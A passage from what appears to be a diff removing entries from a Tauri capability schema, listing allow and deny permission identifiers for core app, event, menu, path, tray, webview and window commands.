command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-app-hide" - }, - { - "description": "Enables the app_show command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-app-show" - }, - { - "description": "Enables the default_window_icon command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-default-window-icon" - }, - { - "description": "Enables the name command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-name" - }, - { - "description": "Enables the set_app_theme command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-set-app-theme" - }, - { - "description": "Enables the tauri_version command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-tauri-version" - }, - { - "description": "Enables the version command without any pre-configured scope.", - "type": "string", - "const": "core:app:allow-version" - }, - { - "description": "Denies the app_hide command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-app-hide" - }, - { - "description": "Denies the app_show command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-app-show" - }, - { - "description": "Denies the default_window_icon command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-default-window-icon" - }, - { - "description": "Denies the name command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-name" - }, - { - "description": "Denies the set_app_theme command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-set-app-theme" - }, - { - "description": "Denies the tauri_version command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-tauri-version" - }, - { - "description": "Denies the version command without any pre-configured scope.", - "type": "string", - "const": "core:app:deny-version" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:event:default" - }, - { - "description": "Enables the emit command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-emit" - }, - { - "description": "Enables the emit_to command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-emit-to" - }, - { - "description": "Enables the listen command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-listen" - }, - { - "description": "Enables the unlisten command without any pre-configured scope.", - "type": "string", - "const": "core:event:allow-unlisten" - }, - { - "description": "Denies the emit command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-emit" - }, - { - "description": "Denies the emit_to command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-emit-to" - }, - { - "description": "Denies the listen command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-listen" - }, - { - "description": "Denies the unlisten command without any pre-configured scope.", - "type": "string", - "const": "core:event:deny-unlisten" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:image:default" - }, - { - "description": "Enables the from_bytes command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-from-bytes" - }, - { - "description": "Enables the from_path command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-from-path" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-new" - }, - { - "description": "Enables the rgba command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-rgba" - }, - { - "description": "Enables the size command without any pre-configured scope.", - "type": "string", - "const": "core:image:allow-size" - }, - { - "description": "Denies the from_bytes command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-from-bytes" - }, - { - "description": "Denies the from_path command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-from-path" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-new" - }, - { - "description": "Denies the rgba command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-rgba" - }, - { - "description": "Denies the size command without any pre-configured scope.", - "type": "string", - "const": "core:image:deny-size" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:menu:default" - }, - { - "description": "Enables the append command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-append" - }, - { - "description": "Enables the create_default command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-create-default" - }, - { - "description": "Enables the get command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-get" - }, - { - "description": "Enables the insert command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-insert" - }, - { - "description": "Enables the is_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-is-checked" - }, - { - "description": "Enables the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-is-enabled" - }, - { - "description": "Enables the items command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-items" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-new" - }, - { - "description": "Enables the popup command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-popup" - }, - { - "description": "Enables the prepend command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-prepend" - }, - { - "description": "Enables the remove command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-remove" - }, - { - "description": "Enables the remove_at command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-remove-at" - }, - { - "description": "Enables the set_accelerator command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-accelerator" - }, - { - "description": "Enables the set_as_app_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-app-menu" - }, - { - "description": "Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-help-menu-for-nsapp" - }, - { - "description": "Enables the set_as_window_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-window-menu" - }, - { - "description": "Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-as-windows-menu-for-nsapp" - }, - { - "description": "Enables the set_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-checked" - }, - { - "description": "Enables the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-enabled" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-icon" - }, - { - "description": "Enables the set_text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-set-text" - }, - { - "description": "Enables the text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:allow-text" - }, - { - "description": "Denies the append command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-append" - }, - { - "description": "Denies the create_default command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-create-default" - }, - { - "description": "Denies the get command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-get" - }, - { - "description": "Denies the insert command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-insert" - }, - { - "description": "Denies the is_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-is-checked" - }, - { - "description": "Denies the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-is-enabled" - }, - { - "description": "Denies the items command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-items" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-new" - }, - { - "description": "Denies the popup command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-popup" - }, - { - "description": "Denies the prepend command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-prepend" - }, - { - "description": "Denies the remove command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-remove" - }, - { - "description": "Denies the remove_at command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-remove-at" - }, - { - "description": "Denies the set_accelerator command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-accelerator" - }, - { - "description": "Denies the set_as_app_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-app-menu" - }, - { - "description": "Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-help-menu-for-nsapp" - }, - { - "description": "Denies the set_as_window_menu command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-window-menu" - }, - { - "description": "Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-as-windows-menu-for-nsapp" - }, - { - "description": "Denies the set_checked command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-checked" - }, - { - "description": "Denies the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-enabled" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-icon" - }, - { - "description": "Denies the set_text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-set-text" - }, - { - "description": "Denies the text command without any pre-configured scope.", - "type": "string", - "const": "core:menu:deny-text" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:path:default" - }, - { - "description": "Enables the basename command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-basename" - }, - { - "description": "Enables the dirname command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-dirname" - }, - { - "description": "Enables the extname command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-extname" - }, - { - "description": "Enables the is_absolute command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-is-absolute" - }, - { - "description": "Enables the join command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-join" - }, - { - "description": "Enables the normalize command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-normalize" - }, - { - "description": "Enables the resolve command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-resolve" - }, - { - "description": "Enables the resolve_directory command without any pre-configured scope.", - "type": "string", - "const": "core:path:allow-resolve-directory" - }, - { - "description": "Denies the basename command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-basename" - }, - { - "description": "Denies the dirname command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-dirname" - }, - { - "description": "Denies the extname command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-extname" - }, - { - "description": "Denies the is_absolute command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-is-absolute" - }, - { - "description": "Denies the join command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-join" - }, - { - "description": "Denies the normalize command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-normalize" - }, - { - "description": "Denies the resolve command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-resolve" - }, - { - "description": "Denies the resolve_directory command without any pre-configured scope.", - "type": "string", - "const": "core:path:deny-resolve-directory" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:resources:default" - }, - { - "description": "Enables the close command without any pre-configured scope.", - "type": "string", - "const": "core:resources:allow-close" - }, - { - "description": "Denies the close command without any pre-configured scope.", - "type": "string", - "const": "core:resources:deny-close" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:tray:default" - }, - { - "description": "Enables the get_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-get-by-id" - }, - { - "description": "Enables the new command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-new" - }, - { - "description": "Enables the remove_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-remove-by-id" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-icon" - }, - { - "description": "Enables the set_icon_as_template command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-icon-as-template" - }, - { - "description": "Enables the set_menu command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-menu" - }, - { - "description": "Enables the set_show_menu_on_left_click command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-show-menu-on-left-click" - }, - { - "description": "Enables the set_temp_dir_path command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-temp-dir-path" - }, - { - "description": "Enables the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-title" - }, - { - "description": "Enables the set_tooltip command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-tooltip" - }, - { - "description": "Enables the set_visible command without any pre-configured scope.", - "type": "string", - "const": "core:tray:allow-set-visible" - }, - { - "description": "Denies the get_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-get-by-id" - }, - { - "description": "Denies the new command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-new" - }, - { - "description": "Denies the remove_by_id command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-remove-by-id" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-icon" - }, - { - "description": "Denies the set_icon_as_template command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-icon-as-template" - }, - { - "description": "Denies the set_menu command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-menu" - }, - { - "description": "Denies the set_show_menu_on_left_click command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-show-menu-on-left-click" - }, - { - "description": "Denies the set_temp_dir_path command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-temp-dir-path" - }, - { - "description": "Denies the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-title" - }, - { - "description": "Denies the set_tooltip command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-tooltip" - }, - { - "description": "Denies the set_visible command without any pre-configured scope.", - "type": "string", - "const": "core:tray:deny-set-visible" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:webview:default" - }, - { - "description": "Enables the clear_all_browsing_data command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-clear-all-browsing-data" - }, - { - "description": "Enables the create_webview command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-create-webview" - }, - { - "description": "Enables the create_webview_window command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-create-webview-window" - }, - { - "description": "Enables the get_all_webviews command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-get-all-webviews" - }, - { - "description": "Enables the internal_toggle_devtools command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-internal-toggle-devtools" - }, - { - "description": "Enables the print command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-print" - }, - { - "description": "Enables the reparent command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-reparent" - }, - { - "description": "Enables the set_webview_focus command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-focus" - }, - { - "description": "Enables the set_webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-position" - }, - { - "description": "Enables the set_webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-size" - }, - { - "description": "Enables the set_webview_zoom command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-zoom" - }, - { - "description": "Enables the webview_close command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-close" - }, - { - "description": "Enables the webview_hide command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-hide" - }, - { - "description": "Enables the webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-position" - }, - { - "description": "Enables the webview_show command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-show" - }, - { - "description": "Enables the webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-size" - }, - { - "description": "Denies the clear_all_browsing_data command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-clear-all-browsing-data" - }, - { - "description": "Denies the create_webview command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-create-webview" - }, - { - "description": "Denies the create_webview_window command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-create-webview-window" - }, - { - "description": "Denies the get_all_webviews command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-get-all-webviews" - }, - { - "description": "Denies the internal_toggle_devtools command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-internal-toggle-devtools" - }, - { - "description": "Denies the print command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-print" - }, - { - "description": "Denies the reparent command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-reparent" - }, - { - "description": "Denies the set_webview_focus command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-focus" - }, - { - "description": "Denies the set_webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-position" - }, - { - "description": "Denies the set_webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-size" - }, - { - "description": "Denies the set_webview_zoom command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-zoom" - }, - { - "description": "Denies the webview_close command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-close" - }, - { - "description": "Denies the webview_hide command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-hide" - }, - { - "description": "Denies the webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-position" - }, - { - "description": "Denies the webview_show command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-show" - }, - { - "description": "Denies the webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-size" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:window:default" - }, - { - "description": "Enables the available_monitors command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-available-monitors" - }, - { - "description": "Enables the center command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-center" - }, - { - "description": "Enables the close command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-close" - }, - { - "description": "Enables the create command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-create" - }, - { - "description": "Enables the current_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-current-monitor" - }, - { - "description": "Enables the cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-cursor-position" - }, - { - "description": "Enables the destroy command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-destroy" - }, - { - "description": "Enables the get_all_windows command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-get-all-windows" - }, - { - "description": "Enables the hide command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-hide" - }, - { - "description": "Enables the inner_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-inner-position" - }, - { - "description": "Enables the inner_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-inner-size" - }, - { - "description": "Enables the internal_toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-internal-toggle-maximize" - }, - { - "description": "Enables the is_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-closable" - }, - { - "description": "Enables the is_decorated command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-decorated" - }, - { - "description": "Enables the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-enabled" - }, - { - "description": "Enables the is_focused command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-focused" - }, - { - "description": "Enables the is_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-fullscreen" - }, - { - "description": "Enables the is_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-maximizable" - }, - { - "description": "Enables the is_maximized command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-maximized" - }, - { - "description": "Enables the is_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-minimizable" - }, - { - "description": "Enables the is_minimized command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-minimized" - }, - { - "description": "Enables the is_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-resizable" - }, - { - "description": "Enables the is_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-visible" - }, - { - "description": "Enables the maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-maximize" - }, - { - "description": "Enables the minimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-minimize" - }, - { - "description": "Enables the monitor_from_point command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-monitor-from-point" - }, - { - "description": "Enables the outer_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-outer-position" - }, - { - "description": "Enables the outer_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-outer-size" - }, - { - "description": "Enables the primary_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-primary-monitor" - }, - { - "description": "Enables the request_user_attention command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-request-user-attention" - }, - { - "description": "Enables the scale_factor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-scale-factor" - }, - { - "description": "Enables the set_always_on_bottom command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-always-on-bottom" - }, - { - "description": "Enables the set_always_on_top command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-always-on-top" - }, - { - "description": "Enables the set_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-closable" - }, - { - "description": "Enables the set_content_protected command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-content-protected" - }, - { - "description": "Enables the set_cursor_grab command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-grab" - }, - { - "description": "Enables the set_cursor_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-icon" - }, - { - "description": "Enables the set_cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-position" - }, - { - "description": "Enables the set_cursor_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-visible" - }, - { - "description": "Enables the set_decorations command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-decorations" - }, - { - "description": "Enables the set_effects command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-effects" - }, - { - "description": "Enables the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-enabled" - }, - { - "description": "Enables the set_focus command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-focus" - }, - { - "description": "Enables the set_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-fullscreen" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-icon" - }, - { - "description": "Enables the set_ignore_cursor_events command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-ignore-cursor-events" - }, - { - "description": "Enables the set_max_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-max-size" - }, - { - "description": "Enables the set_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-maximizable" - }, - { - "description": "Enables the set_min_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-min-size" - }, - { - "description": "Enables the set_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-minimizable" - }, - { - "description": "Enables the set_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-position" - }, - { - "description": "Enables the set_progress_bar command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-progress-bar" - }, - { - "description": "Enables the set_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-resizable" - }, - { - "description": "Enables the set_shadow command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-shadow" - }, - { - "description": "Enables the set_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-size" - }, - { - "description": "Enables the set_size_constraints command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-size-constraints" - }, - { - "description": "Enables the set_skip_taskbar command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-skip-taskbar" - }, - { - "description": "Enables the set_theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-theme" - }, - { - "description": "Enables the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-title" - }, - { - "description": "Enables the set_title_bar_style command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-title-bar-style" - }, - { - "description": "Enables the set_visible_on_all_workspaces command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-visible-on-all-workspaces" - }, - { - "description": "Enables the show command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-show" - }, - { - "description": "Enables the start_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-start-dragging" - }, - { - "description": "Enables the start_resize_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-start-resize-dragging" - }, - { - "description": "Enables the theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-theme" - }, - { - "description": "Enables the title command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-title" - }, - { - "description": "Enables the toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-toggle-maximize" - }, - { - "description": "Enables the unmaximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-unmaximize" - }, - { - "description": "Enables the unminimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-unminimize" - }, - { - "description": "Denies the available_monitors command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-available-monitors" - }, - { - "description": "Denies the center command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-center" - }, - { - "description": "Denies the close command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-close" - }, - { - "description": "Denies the create command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-create" - }, - { - "description": "Denies the current_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-current-monitor" - }, - { - "description": "Denies the cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-cursor-position" - }, - { - "description": "Denies the destroy command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-destroy" - }, - { - "description": "Denies the get_all_windows command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-get-all-windows" - }, - { - "description": "Denies the hide command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-hide" - }, - { - "description": "Denies the inner_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-inner-position" - }, - { - "description": "Denies the inner_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-inner-size" - }, - { - "description": "Denies the internal_toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-internal-toggle-maximize" - }, - { - "description": "Denies the is_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-closable" - }, - { - "description": "Denies the is_decorated command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-decorated" - }, - { - "description": "Denies the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-enabled" - }, - { - "description": "Denies the is_focused command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-focused" - }, - { - "description": "Denies the is_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-fullscreen" - }, - { - "description": "Denies the is_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-maximizable" - }, - { - "description": "Denies the is_maximized command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-maximized" - }, - { - "description": "Denies the is_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-minimizable" - }, - { - "description": "Denies the is_minimized command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-minimized" - }, - { - "description": "Denies the is_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-resizable" - }, - { - "description": "Denies the is_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-visible" - }, - { - "description": "Denies the maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-maximize" - }, - { - "description": "Denies the minimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-minimize" - }, - { - "description": "Denies the monitor_from_point command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-monitor-from-point" - }, - { - "description": "Denies the outer_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-outer-position" - }, - { - "description": "Denies the outer_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-outer-size" - }, - { - "description": "Denies the primary_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-primary-monitor" - }, - { - "description": "Denies the request_user_attention command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-request-user-attention" - }, - { - "description": "Denies the scale_factor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-scale-factor" - }, - { - "description": "Denies the set_always_on_bottom command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-always-on-bottom" - }, - { - "description": "Denies the set_always_on_top command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-always-on-top" - }, - { - "description": "Denies the set_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-closable" - }, - { - "description": "Denies the set_content_protected command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-content-protected" - }, - { - "description": "Denies the set_cursor_grab command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-grab" - }, - { - "description": "Denies the set_cursor_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-icon" - }, - { - "description": "Denies the set_cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-position" - }, - { - "description": "Denies the set_cursor_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-visible" - }, - { - "description": "Denies the set_decorations command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-decorations" - }, - { - "description": "Denies the set_effects command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-effects" - }, - { - "description": "Denies the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-enabled" - }, - { - "description": "Denies the set_focus command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-focus" - }, - { - "description": "Denies the set_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-fullscreen" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-icon" - }, - { - "description": "Denies the set_ignore_cursor_events command without any pre-configured scope.", - "type": "string", - "const": 